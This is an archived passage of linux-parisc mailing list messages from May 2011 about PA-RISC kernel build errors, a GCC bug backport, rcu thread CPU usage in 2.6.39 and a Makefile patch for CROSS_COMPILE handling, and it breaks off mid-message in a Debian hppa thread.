User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
In-Reply-To: <1490722.55WlhWHEVK@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3745>


--nextPart2210321.MBAOYiGsuh
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

I wrote:

> To reproduce try to compile for hppa64 with default .config, this seems what
> has happened to me.

Ok, the issue is rather stupid. I passed a 64 bit compiler on the command line 
but CONFIG_64BIT was not set.

Eike
--nextPart2210321.MBAOYiGsuh
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3cC1UACgkQXKSJPmm5/E4f9wCfW5P5a0rvji8xb/Mqg+KdHzXd
0kUAoJAFOFEMf+JKPzVwkvhMpi04tfai
=iqDK
-----END PGP SIGNATURE-----

--nextPart2210321.MBAOYiGsuh--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 16:49:37 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20110524204938.856044DF4@hiauly1.hia.nrc.ca>
References: <1490722.55WlhWHEVK@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306270188 28547 80.91.229.12 (24 May 2011 20:49:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 20:49:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: eike-kernel@sf-tec.de (Rolf Eike Beer)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 22:49:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOyXs-0007uc-Rt
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 22:49:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755662Ab1EXUtk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 16:49:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3778 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752528Ab1EXUtj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 16:49:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 856044DF4; Tue, 24 May 2011 16:49:38 -0400 (EDT)
In-Reply-To: <1490722.55WlhWHEVK@donald.sf-tec.de> from "Rolf Eike Beer" at May 24, 2011 09:19:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3746>

> If you think of PR46915: I was the one that originally stumbled over this 
> although GM took the hard work of bisecting and reporting that upstream. As I 
> said before, the compiler is 4.5.2.

Yes, finding the cause of bugs is often a lot harder than fixing them.
I spent about a week debugging PR49007 and then it turned out the problem
was the same as PR40086 (one line fix to reorg.c).  Hopefully most reorg
bugs are now fixed as they are nasty.

Nominally, PR46915 was fixed in 4.5.3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 22:59:40 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <1548495.ClksDDlWeA@donald.sf-tec.de>
References: <20110524204938.856044DF4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart6401628.dF8RX6N54V"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1306270798 32301 80.91.229.12 (24 May 2011 20:59:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 20:59:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 22:59:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOyhl-0005B2-Ls
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 22:59:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756924Ab1EXU7w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 16:59:52 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43304 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756906Ab1EXU7w (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 16:59:52 -0400
Original-Received: (qmail 24176 invoked from network); 24 May 2011 20:59:48 -0000
Original-Received: from mnhm-4d012088.pool.mediaways.net ([::ffff:77.1.32.136] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 24 May 2011 22:59:48 +0200
User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
In-Reply-To: <20110524204938.856044DF4@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3747>


--nextPart6401628.dF8RX6N54V
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

Am Dienstag, 24. Mai 2011, 16:49:37 schrieben Sie:
> > If you think of PR46915: I was the one that originally stumbled over
> > this
> > although GM took the hard work of bisecting and reporting that upstream.
> > As I said before, the compiler is 4.5.2.
> 
> Yes, finding the cause of bugs is often a lot harder than fixing them.
> I spent about a week debugging PR49007 and then it turned out the problem
> was the same as PR40086 (one line fix to reorg.c).  Hopefully most reorg
> bugs are now fixed as they are nasty.
> 
> Nominally, PR46915 was fixed in 4.5.3.

Gentoo has backported it to 4.5.2. I know that because otherwise my C3600 
wouldn't have any usable swap ;)

Eike
--nextPart6401628.dF8RX6N54V
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3cHEIACgkQXKSJPmm5/E6eSACfRB9JQfoW70820KLvz5guPbRy
J+QAn3gkGcX313avB/3Mp1MtfIOWiLm2
=63R+
-----END PGP SIGNATURE-----

--nextPart6401628.dF8RX6N54V--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: rcu threads with 2.6.39+
Date: Tue, 24 May 2011 17:02:38 -0400
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110524210238.GA26413@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306270965 994 80.91.229.12 (24 May 2011 21:02:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 21:02:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 23:02:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOykT-0005wt-5X
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 23:02:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754418Ab1EXVCk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 17:02:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3786 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753221Ab1EXVCk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 17:02:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 781E44E6A; Tue, 24 May 2011 17:02:39 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3748>

I built 2.6.39+ Sunday from Linus' tree.  System seems slower than before
and the rcu kernel threads seem to run a lot:

dave@mx3210:~$ ps -ef|grep rcu
root         7     2 46 May22 ?        21:14:59 [rcuc0]
root         8     2  0 May22 ?        00:00:00 [rcun0]
root         9     2  0 May22 ?        00:00:03 [rcun1]
root        37     2 19 May22 ?        08:55:59 [rcuc1]
root        41     2 10 May22 ?        04:50:25 [rcuc2]
root        45     2 11 May22 ?        05:10:35 [rcuc3]

Any ideas?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Tue, 24 May 2011 17:10:50 -0400
Organization: nrc.ca
Lines: 16
Approved: news@gmane.org
Message-ID: <20110524211050.GA26526@hiauly1.hia.nrc.ca>
References: <20110524204938.856044DF4@hiauly1.hia.nrc.ca> <1548495.ClksDDlWeA@donald.sf-tec.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306271457 4690 80.91.229.12 (24 May 2011 21:10:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 May 2011 21:10:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 23:10:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOysP-0003cy-Jh
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 May 2011 23:10:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753221Ab1EXVKw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2011 17:10:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3792 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752604Ab1EXVKw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2011 17:10:52 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 431164DF4; Tue, 24 May 2011 17:10:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1548495.ClksDDlWeA@donald.sf-tec.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3749>

On Tue, 24 May 2011, Rolf Eike Beer wrote:

> Gentoo has backported it to 4.5.2. I know that because otherwise my C3600 
> wouldn't have any usable swap ;)

My main point was to advise those using older gcc versions to update.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Do not set CROSS_COMPILE but let CONFIG_CROSS_COMPILE handle it all.
Date: Thu, 26 May 2011 01:15:43 -0400
Organization: wh0rd.org
Lines: 67
Approved: news@gmane.org
Message-ID: <201105260115.44279.vapier@gentoo.org>
References: <20110524194701.6a4c1bd4@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3043800.9nHhrhYgv7";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306386957 5534 80.91.229.12 (26 May 2011 05:15:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 May 2011 05:15:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 26 07:15:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QPSvH-0007Tb-AG
	for glpp-linux-parisc@lo.gmane.org; Thu, 26 May 2011 07:15:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751448Ab1EZFPu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 26 May 2011 01:15:50 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:42051 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751314Ab1EZFPu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 26 May 2011 01:15:50 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 24D251B4017;
	Thu, 26 May 2011 05:15:50 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/2.6.37.3; KDE/4.6.3; x86_64; ; )
In-Reply-To: <20110524194701.6a4c1bd4@epia.jer-c2.orkz.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3750>

--nextPart3043800.9nHhrhYgv7
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Tuesday, May 24, 2011 13:47:01 Jeroen Roovers wrote:
> Do not set CROSS_COMPILE but let CONFIG_CROSS_COMPILE handle it all.
> The problem this fixes manifests itself when you try to build a 64-bit
> kernel on a distro which does not provide hppa$(WIDTH)-linux-gnu- but
> perhaps hppa$(WIDTH)-unknown-linux-gnu- instead, like Gentoo Linux.
>=20
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -31,16 +31,10 @@
>  UTS_MACHINE	:=3D parisc64
>  CHECKFLAGS	+=3D -D__LP64__=3D1 -m64
>  WIDTH		:=3D 64
> -CROSS_COMPILE	:=3D hppa64-linux-gnu-
>  else # 32-bit
>  WIDTH		:=3D
>  endif
>=20
> -# attempt to help out folks who are cross-compiling
> -ifeq ($(NATIVE),1)
> -CROSS_COMPILE	:=3D hppa$(WIDTH)-linux-
> -endif

i wonder if there isnt some middle ground.  like only setting CROSS_COMPILE=
=20
like so:
ifeq ($(CROSS_COMPILE),)
CROSS_COMPILE :=3D hppa$(WIDTH)-linux-
endif

i think that should still work if people set CONFIG_CROSS_COMPILE, but if t=
hey=20
havent, get the existing (semi-sane) defaults.
=2Dmike

--nextPart3043800.9nHhrhYgv7
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJN3eIAAAoJEEFjO5/oN/WBuqcQALvaWiLq6g21eC4uVsN3eArg
QZRXxbgWZv1iY8/3/fbVUY6/FvcsuOFoYBY0YMzrrLz0KMfFP04t1mIxTRVVRCaM
+m81CkzFbyrm8HwtZDoWPfbYH0+VYI4GM62dBrZFapk9Squlzr+fn/pG8u2ons06
LyZaFESePob4YYb/UpvdI6CGFVnbAEGdK6NE+K1er3DFwwc+dTaBnMAG7oA1ph3S
acBpYVzp3Zr1Rfkb6MedxVaJTtRdiAgoefSVnMVy/eQjXVqkQ4le2sqGES5zpq9Z
wn3KCw30uzF0qSnc+eaV4Br3dCayGlMRUqd5tSN4+NeeKoxI4ibmbZ76iUCRv/bN
URSQ8f9ZzC3DwOOnSeeUjpv1eK6KvlfTFpmjEUvMSQwAZ1oPuIPDIijCPE8TiNrM
LQgMxRFXl3KrJ0ReXGzMWiuiTQHl6A//X9P8Ngvx1EiKA6YDCCmRcNOh+fi/mw5y
69qH1sPfKrwY9S1LxCnUYScwojqlTjl+TUZaipRHDwiPiuvy8bhvSTQdqA8HCu6W
LYDLp0HYry+hslpnMHC/P9qjsU1ZuFTV+dlgrevCcjnCj0VS2vSm1C9yS0ZPi9PF
vziXeKSJ9gihyU/pA5OyZv0qo/ckx1OQwzyUUNmB5ro9sN0e7pNNFADHFIdMV3K3
VDQOBg7ymg6ohJ/s+k1L
=dKGe
-----END PGP SIGNATURE-----

--nextPart3043800.9nHhrhYgv7--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Do not set CROSS_COMPILE but let CONFIG_CROSS_COMPILE handle it all.
Date: Thu, 26 May 2011 01:16:53 -0400
Organization: wh0rd.org
Lines: 38
Approved: news@gmane.org
Message-ID: <201105260116.54553.vapier@gentoo.org>
References: <20110524194701.6a4c1bd4@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1344693.ElK78927Ga";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306387026 5857 80.91.229.12 (26 May 2011 05:17:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 May 2011 05:17:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 26 07:17:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QPSwP-0007Tb-8Y
	for glpp-linux-parisc@lo.gmane.org; Thu, 26 May 2011 07:17:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751974Ab1EZFRB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 26 May 2011 01:17:01 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:42172 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751653Ab1EZFRA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 26 May 2011 01:17:00 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 5CC511BC004;
	Thu, 26 May 2011 05:17:00 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/2.6.37.3; KDE/4.6.3; x86_64; ; )
In-Reply-To: <20110524194701.6a4c1bd4@epia.jer-c2.orkz.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3751
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3751>

--nextPart1344693.ElK78927Ga
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

also, since this is a parisc-specific patch, i'd suggest a summary that=20
reflects that.  perhaps something like:
parisc: do not always override CROSS_COMPILE
=2Dmike

--nextPart1344693.ElK78927Ga
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJN3eJGAAoJEEFjO5/oN/WBLfsQANOQj+kTcEM2UpFSLmk4VQQ8
gVh6kDg/bUQZSqinHDbM2xyD87Ar7pvXstfOJzQAbk2lUnEJsuWhplbTylD3bGTB
r3+BnSsv2ojhVuvtU6wM+VaprFuV8QHpd0QQrN/tvjxZ2aRZeiXFdzAT8b3MgBft
enI25btWQKiB8GY+YZWU2gEelYOZFrCOcQMh1B2tmzmwAz1+bDgnwX3vW6XgZapm
d7RyEFyA9ppda2LyidDSpY9utVzYdzU1BvvECHrX1j65IuNshKtUWpkY0yNjmCvu
RJ8/rRwCR9P5Muh0JF5JJAw2+hGWheeTouPy5rLi/vsYpYQVoQsCu/b2f5eEin81
rs8wRTghknjUnGwGns7DTJgIqtlBRrZjY3A/IdfvHWWzVHWnSM2xFl19BWqMLnhI
LvkaR6GG2GM1h8sQWtcxpAMiJ37YxVFJeQeYPmID79olXKLBN1SJQpVBv4KueHVE
weDWNzSInmbUAfmeJnkNsJmpeboN+3sOptxYYSQVcXOnl6nuqdP3EyTQfxwqsUya
ISQGUp/I5M9P6LNHbuNTRzlDxuHcmlC/gFqu3134+ZGylB6+qjY+r7cddgacltct
f/OK+e2ffJKryBFyKfGamc4knY62RaHb1UWdbHIeqpvdhb51i/SUb3LBHCBdczxe
6cgl3cUBcAFIi/httQS0
=XG3M
-----END PGP SIGNATURE-----

--nextPart1344693.ElK78927Ga--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 12:24:54 -0400
Organization: nrc.ca
Lines: 42
Approved: news@gmane.org
Message-ID: <20110527162453.GA10333@hiauly1.hia.nrc.ca>
References: <20110525211710.GA1562@hiauly1.hia.nrc.ca> <BANLkTikFc1Euw-c+qiUaUznMg7b_1a+4Hg@mail.gmail.com> <20110525234205.GB2556@dannf.org> <20110526012304.GB1912@hiauly1.hia.nrc.ca> <20110526144610.GC2556@dannf.org> <20110526152900.GA5200@hiauly1.hia.nrc.ca> <20110526160951.GA19134@dannf.org> <BANLkTimmzyQWPD0BribiDgM7W6yvOJwUJA@mail.gmail.com> <20110527145656.GB21744@dannf.org> <BANLkTi=BODRACq5N1XBrN+JovNjE2VTibQ@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306513505 13845 80.91.229.12 (27 May 2011 16:25:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 16:25:05 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 18:25:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QPzqN-00011y-Lv
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 18:25:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756091Ab1E0QY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 12:24:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1712 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755135Ab1E0QY6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 12:24:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A5C4E47E2; Fri, 27 May 2011 12:24:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <BANLkTi=BODRACq5N1XBrN+JovNjE2VTibQ@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3752>

On Fri, 27 May 2011, Carlos O'Donell wrote:

> On Fri, May 27, 2011 at 10:56 AM, dann frazier <dannf@dannf.org> wrote:
> > Probably. debian-ports is the only other option I know of - but it
> > means we need people to step up and do random bits of release work
> > (keeping a working installer, etc). I also think we'd need to have
